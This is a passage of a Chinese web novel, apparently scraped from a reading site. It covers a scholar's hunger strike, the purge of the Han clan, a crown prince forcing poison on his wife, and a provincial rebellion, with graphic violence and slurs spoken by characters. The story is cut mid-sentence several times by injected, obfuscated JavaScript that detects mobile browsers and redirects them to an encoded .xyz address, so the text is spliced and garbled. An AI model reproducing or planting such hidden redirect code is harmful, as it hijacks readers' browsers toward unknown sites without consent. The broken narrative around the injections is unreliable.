儒生们:“啊?” 李宝爱道:“我有办法!他今日再不吃些东西就要死了,你们要看着他活活饿死是不是?!麻烦了,都出去吧!” 这话一出,地上的宋景元几不可察地叹了一口气,无力地甩了甩手腕示意他们出去,儒生们欲言又止,却也实在是担心宋景元的安危,只好把希望寄托在这位突然闯入的翁主身上,纷纷嘟嘟嚷嚷地出去了。这群人出去前,李宝爱又突然道:“弄一碗温粥来!” 关门的儒生愣了愣:“是。” 李宝爱盘腿坐到宋景元身旁,双手一把捞过宋景元冰凉的脸,恨恨地搓了一把,几乎是骂道:“你真要饿死自己是不是?你这个白痴!” 宋景元气息微弱地回答她:“我没有......” 李宝爱道:“我不管,你就是再坚持,也得有力气才能坚持得下去,你什么都不吃,要是把自己饿死了怎么办?人都死了,还坚持什么!”她说着,从袖子里掏出一个手掌大小的盒子,打开取出一块肉饼,不由分说地掰了一小块塞到宋景元嘴里。宋景元饿得连躲的力气都没了,被硬生生掰开嘴咽下了一块肉。 李宝爱还要继续喂他,可手法过于粗犷,宋景元噎了一下,霎时宛如重病缠身一般重重地咳了起来,李宝爱吓了一跳,心知自己过分了些,便丢开肉饼,象征性地拍了拍宋景元的胸脯,“你别死了!” 宋景元咳了好一阵才缓过来,十分无力地看着李宝爱,道:“翁主,我不想死。” 李宝爱后悔道:“哦,不好意思...”又横眉道:“你要是乖乖听话,至于我这么粗暴?!” “不是的。”宋景元摇头道:“翁主,我不是怪你。我是说...我不是想把自己饿死。” “那你还不肯吃东西!” 宋景元叹了口气,他也是没办法。 这场罢课的发起,本来就不全是他的本意。 是王上让他这么做的...... 为了有名有分地将韩氏全部下狱,王上需要一个人来发起对韩氏的声讨,给那些反对调查韩氏的人以及韩氏自己一些压力。而且这个人,还不能是随便一个人。 之所以选中他,是因为他适合。而他也愿意承担这份责任而已。至于绝食,是他将这份责任贯彻到底的选择。 他没法向李宝爱解释这一切,只好让这些话跟随卡在喉咙里的肉饼一起咽下去, 李宝爱见他不说话,恶狠狠地屈起指头敲了一下他的额头,被敲了脑袋的宋景元一愣,移开了眼睛。 过了片刻,先前李宝爱让弄一碗粥来的儒生走了进来,见到宋景元的脸色似乎好了点,感到很奇怪,但还是老老实实地将粥递给了李宝爱。 因为李宝爱说:“我来吧。” 宋景元愣着嘴皮子看她。李宝爱耐心道:“我来喂你,不乐意?” 宋景元想从地上撑起来,但李宝爱轻轻一推将他推了回去,“老老实实躺着,你这样,饿得一点力气都没有,能成什么事?张嘴!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越想越气,越想越悔。李宝爱干脆举起那碗粥,然后仰头喝下了一大口。鼓起腮帮子,看着愣愣的宋景元咬牙咽了下去。 “你不喝,我喝!让你干看着,想喝也喝不着,饿死你!” 宋景元低下头:“你喝吧。” “......”李宝爱真后悔自己方才自己没把粥强行喂给宋景元。 她愤愤地再喝了一口粥,但这时感到这粥更加难喝了,差点想吐出去,忍着没吐,皱着眉头咽下去了,然后一边心想这么难喝也不能给他喝,一边丢开还剩半碗的粥,放得远远的。 她看着躺回去闭上眼睛的宋景元,再次心想。 天底下没有这么难追的男人。 ...... 宋景元强行让自己闭了一会眼,心却一直静不下来,就算那些经典文章在他脑海里背了多少遍,如今都成了一团浆糊。 忽然,他听到一声痛苦的闷哼。 “咳——” 宋景元猛地睁眼,竟看到被褥上赫然多了一滩血!他的视线向上移去...... 李宝爱不可置信地瞪着眼,捂着嘴,再次哇地呕了一下。 她吐血了! 80. 吴钩其三 “哥。” 宋景元脸色惨白地站在斋舍里,听到这一声,诧异地回头:“景熙?你...怎么在这?” 宋景熙道:“我听说出事了。” “......”宋景元脸色再白了几分。 翁主吐了血之后,整个成均馆都乱了,赶紧将翁主送往了内医院。他被勒令留在成均馆内。 并且......翁主走之前,并不是很想见到他。 宋景熙担心地看着长兄道:“主上已经下令逮捕韩氏全族了。父亲母亲都很担心你,想见见你,跟我回家吧,哥。” 宋景元惨然一笑:“好。” 路上。沉默了一路的宋景熙忽然又喊了一声:“哥。我觉得不对劲。” 宋景元道:“哪里不对劲?” 宋景熙道:“你在成均馆,不知道家里的事情。父亲他知道你罢课和绝食之后很着急,但主上一直勒令他在家待着——当然了那个沈提学也一样。父亲他好像对于你很不满,总叫母亲或我去找你带话,说是......” “说什么?” “说让你不要掺和这件事,不要跟沈提学站在一条绳子上......” “父亲他真是这么说的?” 宋景熙点点头。 宋景元沉默了。 “所以我才觉得不对劲。父亲他怎会如此不遗余力地保韩义亨呢?这真的很奇怪。”宋景熙缓慢地道:“除非...韩氏要是完蛋了,我们也得跟着完蛋。” 宋景元的心沉了沉。 “我记得有人跟我说过,毒害废世子的人不止一个。” 听到弟弟这么说,宋景元的心再度沉了沉,他小心翼翼地道:“难道父亲他参与了废世子那些事?” “我不知道。我一问父亲,父亲他就很生气。”宋景熙道。 宋景元的心一下子更沉了:“不好。” 他猛地做出决定,看向弟弟:“景熙,这件事我们得向父亲问个清楚。”说着加快脚步,然而弟弟却似乎没有跟上来,他回头一看,只见弟弟正在低着头沉思。 “哥。”宋景熙抬头,表情有点悲哀:“我有件特别的事想去确认下,你先回家吧。我一会就来。” 宋景元迟疑地点了点头:“照顾好自己。” 兄弟俩分开之后,宋景熙就直奔曳扇台而去了。 此刻的曳扇台,空无一人,较之之前的热闹,简直寂静到了一种无与伦比的地步,唯一的声音,就是代理台主沙沙翻书的声音。 宋景熙出声道:“副台。” 代理台主抬头看他:“宋大人。”表情似乎很正常。 宋景熙道:“台主他们人呢?” 代理台主稍稍思考了一下,道:“方才出去了之后就一直没有回来了。宋大人见到台主他们了吗?” 宋景熙道:“没有。一直没有。” 代理台主略感疑惑道:“台主他们一直没有回来,难道出了什么意外?” 宋景熙道:“如果是这样的话,那就太糟糕了。” “的确。”代理台主点头:“太糟糕了。” 宋景熙忽然道:“韩氏都被押解在哪?” 代理台主道:“应当不是在鞫审厅就是在义禁府。”末了,补充道:“领相应当在鞫审厅,其余人应当在义禁府大牢中。” 宋景熙果决道:“给我地牢的钥匙。” “?” 宋景熙又重复了一遍:“麻烦你了副台,给我地牢的钥匙。” 代理台主透过他的表情瞬间明白了意思,拱起袖子揣手默然了一阵,然后道:“其实,也是从方才起,押在义禁府大牢里的有一个叫韩圣吉的人一直想见宋大人您了。” “韩圣吉?他......” “他并不知道宋大人您就是曳扇台的人,只是一直在对义禁府的人念叨着要见您,这个消息也是义禁府的人告诉我的。然而我见不到宋大人您,加之韩圣吉的要求按理不应该答应,所以本不打算告知您。不过我想,既然您已经出现在这了,还是不要隐瞒为妙。” “您要是想见他,一定要小心行事。”说罢,代理台主从桌下摸出一串钥匙,敬小慎微地递给了宋景熙。 宋景熙微微一怔,心里泛起一股暖意,道:“多谢。” 他拿着这串钥匙,打开了曳扇台地牢的门,又打开了地牢里通往另一端的义禁府大牢的门。再过了一个狭小昏暗的隔间,就到了地面的大牢——韩氏都被关押在这里。 除了韩明吉。 义禁府去抄家逮人的时候,唯独没有见着一个人,此人就是韩明吉。大抵是因为韩明吉本来就是义禁府的官的缘故,提前知道了自己家要被抄了,所以先行逃跑了。现在义禁府和御营厅都在满城搜捕他。 韩氏几人都被关在单独的牢房里。宋景熙不知道哪个是韩圣吉的牢房,只好提着从墙上取下来的火把继续往前走,这火把的灯光只引起了少数几个韩家人的注意,他仔细地分辨着这些人的面容,终于在一间牢房前停了下来。 韩圣吉并没什么反应,直到听到有人喊了他一声:“韩圣吉。” 他抬头:“是你。” 宋景熙道:“你很惊讶吗?” 韩圣吉无声笑了一下,但很假:“不惊讶。我要见你,你迟早会来。” 宋景熙道:“为什么见我。” 韩圣吉道:“谈个条件。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14896084|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不得不说,即便在身陷囹圄的困境下,韩圣吉依旧是坐得笔直,一脸从容不迫,这倒是很奇特。宋景熙觉得好笑:“跟我谈条件?”他顿了顿,又道:“你是觉得现在还可以谈条件,还是说觉得我有条件可谈?你和我现在什么都不是。” “随便你怎么想。时间紧迫,我直说。”韩圣吉道:“我要你保住韩明吉,他不可能逃一辈子不被抓住,要是他被抓住了,你要保住他。代价是我替你守住你父亲的秘密。” 宋景熙哑了一下:“我父亲的秘密?” 韩圣吉道:“对,吏判大人的秘密。或许你已经猜到或已经知道了,废世子一案,你父亲当年也有参与。你不会不知道吧?” 宋景熙沉着脸色并不回答,韩圣吉这么说,简直是在他心窝子里戳。 “你这是变相承认了你们韩氏就是废世子案的真凶。” 韩圣吉轻蔑地哼了一声:“大势已去,再怎么走都是同样的结果,事已至此,还有什么不好承认的呢。我现在还是个能说话的活人,再过一阵,等我的处决下来了,你再看到我的时候,我的脑袋已经挂在竹竿上了。” 宋景熙冷眼道:“那样的话,我很乐意看到。” 韩圣吉苦笑着摇了摇头:“说不定你也是呢。” 宋景熙的心顿时一紧。要是放在之前,他听到这话肯定会觉得不屑一顾,可如今形势变了,父亲不明的态度让他和长兄都万分担心,尤其是现在李珘和韩时元都消失了,他感到浑身上下都被什么东西堵住了,地上泛上来的凉气随时能将他冻住,冻得他说不出话来。 他呼了一口气,道:“第一,我并不是很相信你,你们韩氏说的话,尤其是做出的承诺往往不可信。第二,我还是不是很相信你,你现在的境地,有什么资格说保我父亲的秘密?” 韩圣吉笑了一下:“你要是不想让你的家门落得和我一样的下场,就会答应的。” 默然半晌,宋景熙道:“为什么独独是保韩明吉?” 韩圣吉道:“我需要他活着。” “哦,为了让他活着,往后复仇?” “不是。”韩圣吉道:“只是希望他活着。韩氏要留下一个种。” 宋景熙道:“你难道没听过斩草除根。” 韩圣吉道:“宋大人,你或许听过亡命之徒。你父亲的事,只有我和我父亲知道,只要你保明吉,我就不将此事说出去,我父亲也不会。我信守承诺,直到我的脑袋被砍下来滚进泥地里,这样的承诺才会结束。当然了,你也要信守承诺。” 面对对面长久的沉默,他终于有些不耐烦:“给个准信。” 宋景熙转身就走。 “知道了。” 81. 吴钩其四 宫人们的表情有点不对劲。 李澄刚踏进道明殿,就这么想。 如此紧张,如此小心翼翼,见了他,都是一副害怕到极致的样子。 守在殿外的尚宫脑袋快比胸口还低了,根本不敢看李澄。李澄瞥了她一眼,道:“有谁来过?” 尚宫没想到世子察觉得如此精准,顿时汗如雨下,有心替世子嫔隐瞒,却又不敢在这位喜怒无常的世子面前撒谎,只好慌张地如实回答:“瑞泉君来过。” 李澄道:“我有没有说过不许任何人进道明殿?” 尚宫结巴道:“说、说过。” “他来干什么?” “不、不知道。只来、来了一会就走了。他前脚刚走,邸、邸下您就来了。” 李澄心不知“瑞泉君”这位手下败将为何会出现在东宫殿,却也懒得过多追究了,有着更重要的事情需要他去完成。 “算了。”他心道:“反正都是死人了。没什么好纠结的。” “开门。”他语气冷淡地命令尚宫。 尚宫不敢犹豫,立刻推开了门。李澄走了进去,外间站着守门的宫女都不敢拦住他的路,纷纷推开房门让他畅通无助地穿过两层房间,直抵世子嫔所在的寝房。 韩暎就坐在房中。闭着眼。 “都出去,不许任何人进来。”听到世子这句话,寝房外的宫女低着头关上门,出去了。过一会,整个道明殿就只剩下李澄和韩暎两人。 韩暎虽然闭着眼,眼皮却在不停地抖动,她耳朵灵敏地听到李澄走近的脚步声,然后是茶杯和水流的声音。 在这些古怪的声音中,韩暎不自觉地咬起了嘴唇。 她不睁眼,直到李澄冰冷的声音响起:“韩暎。” 韩暎缓缓抬起眼,唇色发白,说出的话却分毫不让:“别叫我的名字。恶心。” 李澄手里捏着一只杯子,冷眼瞧着韩暎,道:“难道要我叫你嫔宫?痴心妄想,你已经不是世子嫔了。” “嫔宫?”韩暎冷呵一声:“这个世子嫔,我从来就不想做!痴心妄想的是你,你这个畜生!” “我懒得和你废话。”李澄眉宇间露出一抹不耐之色:“你要死了。” 韩暎盯着他手里的杯子道:“你要毒杀我?” “不。是你自己喝下毒酒。” “你这个畜生。”韩暎苦笑道:“连杀我还要撇干净。你可真是个双手干干净净的好世子。” 她猛地抬手打飞桌上的茶杯,眼神变得凌厉,咆哮起来:“做梦去吧你!你这个该死的畜生!我就是撞死也不喝你这药!我死了也要拖你一把!让世人都知道是你杀了我,是你害了我!最好让世人都知道这个国家的世子就是个喜欢男人的猪狗不如的变态!!” “哐当”一声,李澄踢翻了韩暎身侧的矮桌。他神色阴鸷:“你再说一遍。” 韩暎高喊道:“我说你是个狗娘养的喜欢男人的变态!下辈子投胎成猪狗的畜生!” 李澄重重地吸了一口气,呼气的同时,一脚踢出,正中韩暎胸腹。这股毫不留情的大力将韩暎撞到了她背后的墙上。她不知道自己已经鼻子流血了,只是感觉腹部好像断了一样剧烈的疼痛,她手抖了抖,摸到腹部疼得厉害的地方,抬起眼嘲讽地看了一眼李澄:“打女人的废物。” 李澄依旧没放过她,上前一手抓住她的头发,将她本就梳得不是很正的头发变得一塌糊涂。 “别自讨苦吃。”他恶狠狠地盯着韩暎:“再过几日,等废世子一案水落石出,你那些父兄的脑袋都会变成落在泥地里插在竹竿上的肮脏玩意儿。韩暎,你要感谢我,给了你一个体面的死法。你若是识相点,自己喝下这杯酒,不久后所有人都会知道,废世子嫔韩氏是个为十恶不赦的父兄赎罪而喝下毒酒自尽之人。这样,还不体面?” “体面?”韩暎觉得可笑极了。她厌恶面前这张扭曲的脸到了极点,恨不得用尽全身力气啐上一口——她也的确这么做了,只是挨了一记重重的巴掌。可她对此毫不在意,鲜血和口水喷了李澄一脸,她露出一丝痛苦的得意:“你这个下贱东西,你生母知不知道他生了一个喜欢男人的狗杂种?这个狗杂种还娶了一个被他骗得全族都搭进去的女人,体面??你说体面不体面?!你生母是不是骄傲死了?!!生了这样一个狗杂种!” “你才是狗杂种!贱人,去死吧!”李澄恶狠狠地将右手的杯子塞到韩暎嘴里,以几乎要捏碎杯子的力气捏住她的下巴,强行将杯子里的水倒进了韩暎的嘴里。倒完了,又猛地放开韩暎,同时狠狠将杯子砸到墙壁上。 他退后几步,仿佛耗尽了全身力气,恶毒的眼睛从咳嗽不已的韩暎身上扒下来,转身欲走。 韩暎抠了抠喉咙,几欲呕吐,然而收效甚微,她改为抓了抓喉咙,在李澄刚回神踏出去一步的时候,癫狂地大声咆哮道:“李澄!!!” 李澄被不知什么东西绊住踉跄了一下,他甚至并未微微侧首,只是眼神往后方瞥了一眼,也只短暂的一眼,便继续迈步离开这个混乱的房间。 韩暎的声音一直没停,而且咆哮声越来越大,几乎要将耳膜震破。 “我诅咒你!我诅咒你所爱的人永远不会看你一眼!我诅咒你!你的下场比我还要惨上千分!万分!你不得好死!!死不超生!!!” ...... ...... ...... 宋景熙原路返回,从地牢回到了曳扇台。曳扇台依旧是那个曳扇台,只是少了两个熟悉的身影。 取代这两个熟悉的身影的,是从前厅传来的吵闹声。 并不是熟悉的声音。宋景熙皱着眉头仔细分辨了一下,忽然吃惊地眉头一扬,旋即皱得更深了。 这不是韩明吉的声音吗?! 他快步走向前厅,果不其然,韩明吉正在压低声音和守在前厅的代理台主争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14896085|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵。 “让我见宋景熙!我知道他是你们这儿的人!让我见他!” 代理台主对这名无赖感到无奈非常,只好警告道:“韩大人,您出现在这里,有些羊入虎穴了吧?若是我叫人来抓您,您只有被抓住的份了。” “去你的!”韩明吉蛮不讲理:“这里一个密使都没有,你哪里叫人?!宋景熙在不在这里??快叫他来见我!”说着,他忽然眼睛朝代理台主身后一瞪。 代理台主一直挂在脸上的勉强的笑也挂不住了,警觉地也朝后面看去...... “副台。我来了。”宋景熙走了过来,十分不友好地看着韩明吉,眉头就没放松下来过:“你怎么知道我是曳扇台的人?” “去你的少废话!”韩明吉见到了宋景熙依旧蛮不讲理:“我怎么知道的关你屁事!我找你有事!”他说着就冲向宋景熙,试图一把将宋景熙推回内厅,自己也好闯进内厅去。可宋景熙也不是吃素的,他一把扭过韩明吉要捉他的手,将韩明吉反手铐住了,眼神不善道:“你还敢来这里?副台,告诉义禁府,捉住逃犯了。” 韩明吉立刻大声道:“等等!捉我!捉我没关系!我先提个条件!” 宋景熙心情很不好:“你有病是不是?” 他不是忘记了和韩圣吉的约定,可是他现在心情真的很不好,很烦,看到韩明吉就觉得更烦了,只想教训他一顿出出气。 “你听我说!”韩明吉大叫道:“我愿意被捉!但是要拿我哥来换!” “......”宋景熙有点宕机了:“什么?” 韩明吉嚷嚷道:“你们捉了我!就要放过我哥!” “......” 代理台主及时出声:“韩大人现在的处境,哪里有和我们谈条件的机会?恕我直言,您并没有以一换一的价值。” “你闭嘴!”韩明吉瞪他,又瞪眼看着卡壳的宋景熙:“你答应不答应?!没时间了!不答应就放我走!” 宋景熙怔了一下,旋即笑了出来:“你们果然是兄弟。”他唉了一声,道:“可惜,我已经和你长兄谈过交易了,他要拿他的命保你。” “嗯嗯嗯??!”韩明吉叫嚷道:“他怎么能这样,不行不行不行!!我不同意!拿我换!拿我换!我死了没关系!他得活着!” 宋景熙道:“抱歉,我不食言。” 说完,不顾韩明吉剧烈挣扎,一刀砍在韩明吉后颈上,将人击晕了。 韩明吉重重倒在地上。代理台主略感担忧道:“您怎么能擅作决定呢。” 宋景熙道:“抱歉,我违规了。” “不。”代理台主面上是浓浓的担忧:“宋大人,台主真的消失了,现在您的话就是台主的话。请问宋大人,我要怎么处置他呢?” 代理台主指了指地上的韩明吉。 “多谢......”宋景熙愣愣的,回神道:“塞进板车里,运出城吧。” 82. 等待进入网审 三日后。 “韩氏已经认罪,沈提学,你还有什么好说的吗?”王上问。 沈提学脸上肌肉抖动,眼底满是不怀好意,他颇为意味深长地看了神情愣怔的宋道真,旋即道:“臣自然有话要说!” 王上觉得很烦:“你说。” 沈提学道:“韩义亨虽然认罪了,可当年韩氏的同伙还躲藏着,主上!这些人和韩氏一样罪不可赦,不得不一网打尽啊!” 王上再度头疼地揉了揉额角,道:“韩义亨没有供认任何同伙,承认这件事完全是他和他父亲韩丙建一手策划的。”见沈提学跃跃欲言,又道:“沈提学,你到底还想说什么?” “韩义亨没有供认,可臣有证据。”沈提学道:“臣手上有当年韩丙建和那些同伙的合谋书!” 宋道真忽然猛地抬起头,瞪大的眼睛昭示了他有多震惊。 王上眯了眯眼:“合谋书?” 沈提学道:“正是,其上有着当年与韩丙建合谋毒害废世子的人的名姓及手印,足有二十六人之众!”他从坐垫上起身走到御座下,并从袖中取出一块白色丝绸,恭恭敬敬地呈给了王上。 “一字一句,字字真实。” 王上接过沈提学手里的丝绸,紧皱着眉头将其打开,越看,眉头拧得越紧,整张脸也变得寒冷起来。丝绸的背面没有字,根本看不到写着什么,座下坐着的群臣都心急坏了,尤其是宋道真,根本沉不住气,差点从坐垫上弹起来,整张脸也煞白煞白,毫无血色,连伸出去的手都在颤抖。 忽然,王上抬眼看向了宋道真。 宋道真冷汗直流,哆哆嗦嗦半天竟然一个该说的字都没说出来,只颤声道:“主上......” 他本来是不信沈提学手里那丝绸是真的,可王上看向他的这样几乎要剜了他的眼神,足以说明那合谋书有多真! 真得不能再真了! 真的是当年他受韩丙建欺骗而签下的合谋书! 宋道真这时后悔得要命,当年他按手印按得有多痛快,如今就有多想给自己一刀来个痛快。 那年,他还是个二十多岁的年轻小伙子。同绝大多数勋旧派的子弟一样,对于世子李珘的变法极为不满。 有一日他同其他同为勋旧子弟的友人们聚酒,那时没有禁酒令,他们一边痛快地大口畅饮,一边对世子的变法破口大骂,骂完了,酒也过了几巡,人也该散了。他摇摇晃晃地往宅邸走,路上却碰到了他父亲的死敌——韩丙建。 父亲宋泰日和韩丙建关系还不错的时候,他曾管韩丙建叫伯父,只是这个称呼也仅仅维持了十多年,如今大街上遇到韩丙建,韩丙建竟然亲切地喊他:“贤侄。” 他愣了半天,才看清是韩丙建,本来要走,可是韩丙建竟然再度喊住了他:“道真贤侄,你对变法也十分不满。” “我们的家产被夺走,土地被削减,连饮食和衣着也被限制,甚至还要我们这些人去承担徭役。这样变法过后的国家,还算国家吗?” 他心里怒火被激起,又或许是有着下肚的酒水的刺激,于是当场斥责起变法来。 后来,就不知怎的,就被韩丙建邀请至了韩府。他看着面前桌上摆着的一个圆形丝绸,丝绸上写满了一圈字,密密麻麻写着一个个人名,人名的脚下还按上了鲜红的手印。 韩丙建说:“这是投名状,我们要联名上奏,请求王上罢黜变法。” 他对于这份名单有所警戒,但在和韩丙建交谈了足足两个时辰过后,他还是没醒酒,将警觉抛之于脑后,让愤懑占据了心智,然后写下了名字,按下了手印。 后来,韩丙建似乎没把这张丝绸变成绑架他们这些签了名按了手印的绳索,再后来,世子李珘就变成了一个疯人,甚至险些弑父,然后,韩丙建带着他们这些签了手印的人跪到勤政殿外请废世子,最后,世子真的被废了。 一切都好像结束了。那张丝绸并没有对他们造成任何影响,而他们想要的结果就这么顺理成章地得到了。 那时,宋道真有怀疑世子是否是为韩丙建所毒害,可是先王的调查没有成果。他只好相信韩丙建是无辜的。 反正,他想要恢复的勋旧派所拥有的东西都已经重新回来了。至于过程,无所谓。 真的无所谓吗? 现在宋道真这么问自己的话,一定会回答,绝不是无所谓!! 在王上的逼视下,冷汗已经彻底浸湿了他的后背。尤其是在王上走下御座将丝绸丢在他面前,怒叱“你自己看!”后,顿时吓得他一股血冲上脑袋,噗通一下从垫子边爬到王上面前,磕头哭诉:“主、主上!这合谋...不不不,不是合谋...臣是受了韩丙建那家伙的哄骗才签下名字按下手印的,绝不、绝不是要害废世子啊!清主上明鉴啊!!” 沈提学呵了一声:“哄骗??当年崇绫大君出事的时候,你明知韩丙建有意毒害世子,为何不向义禁府检举韩丙建?你要是真的问心无愧,也不会隐瞒下这件事!你就是韩丙建的同伙,铁板钉钉的同伙,和韩氏一样罪不可恕!当诛全族!这合谋书上二十六人,皆是妄图篡逆国家的贼子,应当诛尽!” 宋道真浑身抖如筛糠,痛哭流涕,完全说不出话来。和他一样,那些记得自己签了名按了印的大臣此刻都主动出列跪了下来,一样痛哭流涕,乱七八糟地说着什么。王上的脸色变得极其糟糕,根本听不进去一点,只觉得心脏跳得分外愤怒,恨不得将这□□臣活活刮死! “主上,这些人该当如何处置?”沈提学适时地问。 “怎么处置?”王上阴沉着脸:“都给寡人关进义禁府里去!叫义禁府的人按着这名单上面的一个一个抓,给寡人一个不漏地抓仔细了!再一个一个地押到鞫审厅去审!” “那主上,韩氏该如何处置?”沈提学不适时地问。 “寡人想好了。”王上憋着气长舒一口:“夷其三族。不论男女老幼,悉数斩首,韩义亨、韩圣吉等人尸首悬于城外,尸身弃于郊外,任由野狗啃啮。韩丙建,挖出他的尸身,捶碎头颅和尸骨,再挫骨扬灰!” 说完,拂袖而去。勤政殿外,内禁卫将迎了上来,道:“仍未将韩明吉缉拿。此人已然在汉阳消失了。” 王上道:“汉阳找不到就继续往汉阳外找!找到了再来见寡人!” 内禁卫将道:“是。”接着,他朝早已守在殿外许久的内禁卫们点了点头,内禁卫们得令,待王上走后便冲进勤政殿内,将混乱地倒成一团的大臣们从地上捞起来然后抓走。 这些穿着衣冠禽兽的官袍的大臣,此刻已经完全没有身份和尊严可言,宛如落水老狗一般被押走。沈提学悄悄退至一边,数着自己的政敌被一一拖走,终于露出了得意的微笑。 众人惶惶然间,只有他一人在得意。 可他大概不知道,很快,他也笑不起来了。 十五日后,一封密报从全罗道——的隔壁忠清道传来。 全罗道叛乱了! 谁都没想到,在这个关节,全罗道会叛乱!一个叫崔在燮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909306|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,竟然借着什么孝献世子枉死的由头,打着拨乱反正的旗号,拥立一个连族谱都差点没进去的宗室子弟为正统。 造反就造反吧,这个崔在燮,竟然是如此势不可挡,一举就吞并了全罗道全境,不仅官兵成了他的造反军,还联合了全罗地区泛滥已久的山贼,据说这些山贼的数量要比官兵的数量还多! 吞并了全罗全境之后,崔在燮的下一个目标就是离全州最近的隔壁忠清道的清州,清州受到了突如其来的侵略,一下子就点燃了烽火——战火烧过来了! 最糟糕的是,由于清州根本没有抵抗的准备,且叛军的攻势国强,仅仅不到七日,清州城门就被破开了。 而叛军的下一个目标,不是忠清道的首府忠州,而是隔壁庆尚道的尚州。 或许仅仅是因为,离得近。 且尚州经过整整三年的旱灾折磨,抵御外敌的能力简直弱得不行,官兵们连端起武器的力气都几乎被折磨殆尽,哪里有抵抗的能力,怕是连准备不足的清州还不如,若是叛军行军至尚州,只需三日,尚州也会沦陷! 再开朝会,所有人的脸色都变得极差,本来就差的自然也就更差了。整个勤政殿内都弥漫着压抑到让人喘不过去的味道。 谁都知道,这场叛乱撕开了一个血淋淋的问题。 那就是军备不修,武备松弛。 孱弱的士兵,能抵抗叛军的冲锋吗?生锈的武器,能抵抗山贼的斧头吗? 不能。 王上黑着脸:“还有谁有办法?” 众臣面面相觑。 兵曹和五军营的人被拖出去杀头一批又一批,兵曹判书和兵曹参判都被摘去了官帽等候发落,连站出来提个应对之策的大臣都会被拖出去,因为根本没有完美的应对之策,现在出来提这个提那个,只会更加触王上的霉头。还有哪个敢站出来说话的? 没一个敢说话的。 “臣去!” 一声从殿外传来的响亮的声音将殿内所有人的视线都拉了过去。郑都提调跨过门槛跳了进来。见到这位虽然名字不在丝绸名单上,却依然因为受韩义亨所牵连而被削职的勋旧派武臣,沈提学惊讶不已,诧异道:“都提调?!” “都你害的,你还敢叫我都提调!我已经不是都提调了!”郑都提调啐他:“但是现在国家缺个能打仗的,你们这群贪生怕死的笔杆子不敢去,老子去!” 沈提学冷嘲热讽道:“胡言乱语!你分明是不甘心被削职,想趁着统领军队清扫叛军的名义重归将军之衔!” 郑都提调道:“去你的!沈提学!你在胡说,信不信我撕烂你的嘴!我是贪这个位置?这统帅军队的职位给你你要不要啊!你要是有这个胆子,也不会在这瞎掰扯了!” 沈提学道:“你御前失仪,就凭你这做派,岂能统帅好五军营?!主上,此人刚愎自用,性情如雷,必然不能用!” 王上木着一张脸,转动眼珠子在这两人之间扫了扫,一言不发。 郑都提调高声道:“臣敢下军令状!沈提学,你敢不敢?!你要是不敢,就别在这狗叫,挡了我报国的路!” “军令状?”王上将目光定在郑都提调身上。 郑都提调大声回答:“臣拿脖子上这颗脑袋下状,还有臣儿子们的脑袋也算上!守不住尚州,绝不苟活!誓死守城!” 沈提学气得直打颤,刚想出声激他,就被王上一句话赌回去了:“好!郑卿你有种!” “纸笔墨呈上!下状,就在寡人面前!” 83. 士祸其二 所有人都知道,王上一直心情不好。 宋景熙虽然知道,但毕竟没有见过。但他现在知道了。 因为他就在大殿里。王上召他。 王上坐在御桌前,桌子上是一折折的纸,他捏着其中一张一言不发,似乎是在看纸。 宋景熙非常谨慎地抬头,看见那些纸上写着密密麻麻的字。 王上忽然将举在眼前的纸放下,随手一甩将纸丢到了宋景熙面前。 “你自己看。” 这声音听起来非常冷漠无情,宋景熙心想,和自己小时候见到的王上已经完全不一样了。 他谨慎地捡起那张纸,然后小心翼翼地看了起来。 只看了一会儿,他就瞪大了眼睛,额角也泌出了冷汗。 署名...... 这是......李澄写的情笺! 而且指名道姓写了“宋景熙”三个字,就是写给他的! 可是他根本没有受到过这种信件啊。完全不知道,根本不知道李澄对他抱有这样的感情。他现在已经完全看不进去了,脑袋正在飞速运转着,难怪...难怪韩暎明明都已经是世子嫔许久了却依然没有与世子圆房,甚至还要靠下药来完成,并且还失败了,因为他...... 宋景熙忽然捏紧了信纸,心里大喊一声完蛋了,跪在地上冷汗直流,颤声道:“臣...不知道这些,也没有看过这些......” 王上道:“你当然没有看过。就连寡人之前也从未看过。” 宋景熙咬了咬牙,道:“臣方才头昏眼花,看不清字,纸上写了什么都看不见。不过想必不是什么好文字,臣还是不要看了......” 还能怎么办?!装傻充愣!就当没看过这些,对谁都好! 